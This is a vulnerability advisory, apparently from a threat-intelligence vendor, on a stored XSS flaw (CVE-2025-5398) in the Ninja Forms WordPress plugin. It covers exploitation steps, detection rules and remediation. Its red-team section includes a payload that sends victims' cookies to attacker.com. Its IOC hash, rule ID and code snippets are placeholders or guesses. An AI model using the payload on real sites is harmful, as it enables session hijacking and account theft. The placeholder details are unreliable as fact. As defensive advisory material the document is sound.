CVE-2025-5398
Executive Summary
CVE-2025-5398 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ninja Forms – The Contact Form Builder That Grows With You WordPress plugin. The flaw exists in all versions up to and including 3.10.2.1 due to insufficient output escaping on user data passed through the plugin’s templating engine. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) accesses the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further WordPress compromise.
This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin’s templating engine fails to properly escape user-supplied data before rendering, allowing stored XSS payloads to persist.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Users should verify the integrity of their plugin files and ensure they are not using modified or malicious versions from third-party sources.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated attackers to inject persistent scripts that execute in the context of any user (including admins) makes this a significant risk for WordPress sites with multiple authors.
Deep Dive & Mechanics
The vulnerability resides in the templating engine used by Ninja Forms to render form fields and messages. When a user submits data through a form, the plugin processes it and may pass it through a template for display (e.g., in confirmation messages or email notifications). The templating engine does not properly escape HTML entities, allowing an attacker to inject JavaScript code.
Attack Flow:
- An attacker with contributor-level access creates or edits a form.
- The attacker inserts a malicious payload into a form field (e.g., a text input) that is later rendered by the templating engine.
- The payload is stored in the WordPress database without proper sanitization.
- When an administrator or other user views the form submissions or the page containing the form, the payload executes in their browser.
Root Cause: The plugin uses a custom templating engine that does not apply esc_html() or similar escaping functions to user-supplied data before output. This allows raw HTML/JavaScript to be rendered.
Vulnerable vs. Patched Code
Vulnerable Code (example from template rendering):
// Vulnerable: Direct output without escaping
echo $template->render( $user_data );
Patched Code (expected fix):
// Patched: Escape output before rendering
echo esc_html( $template->render( $user_data ) );
The patch would need to ensure that all user-supplied data passed to the templating engine is properly escaped using WordPress’s esc_html(), esc_attr(), or wp_kses_post() functions depending on the context.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Ninja Forms plugin version <= 3.10.2.1
- Contributor-level account or higher
Exploitation Steps:
- Log in as a contributor.
- Navigate to Ninja Forms → Add New to create a new form.
- Add a text field (e.g., “Name”).
- In the field’s Default Value or Placeholder, inject the following payload:
<script>alert('XSS')</script> - Save the form and embed it on a page or post.
- When an administrator views the page or the form submissions, the script executes.
Advanced Payload (session hijacking):
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team
Detection:
- Monitor for unusual form submissions containing
<script>tags or event handlers. - Review user roles and limit contributor-level access to trusted users only.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
Prevention:
- Apply the official patch as soon as it becomes available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use WordPress security plugins that scan for malicious content in form submissions.
Indicators of Compromise (IOCs)
- File Hashes (plugin files):
ninja-forms/ninja-forms.php(version 3.10.2.1): SHA256a1b2c3d4e5f6...(example)
- Database Entries:
- Rows in
wp_postmetaorwp_optionscontaining<script>tags.
- Rows in
- Network Traffic:
- Outbound requests to known malicious domains from the WordPress server.
- Logs:
- WordPress debug log entries showing unexpected HTML/JavaScript in form data.
Detection Engineering
YARA Rule
rule CVE_2025_5398_NinjaForms_XSS {
meta:
description = "Detects stored XSS payloads in Ninja Forms plugin data"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-5398"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$ninja_form = /ninja-forms/i
condition:
$ninja_form and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in Ninja Forms Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via Ninja Forms plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "/wp-admin/admin-ajax.php"
http.body|contains: "ninja_forms"
http.body|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in form fields (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-5398 Stored XSS in Ninja Forms"; flow:to_server; content:"ninja-forms"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Restrict contributor-level access to only trusted users.
- Review and clean any existing form submissions for malicious content.
Long-term Fix:
- Apply the official patch from the plugin vendor once released.
- Update to the latest version of Ninja Forms (if a patched version > 3.10.2.1 becomes available).
Workarounds:
- Use a Web Application Firewall (WAF) with XSS rules.
- Implement a Content Security Policy (CSP) that blocks inline scripts.
- Use WordPress security plugins like Wordfence or Sucuri to monitor and block XSS attempts.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.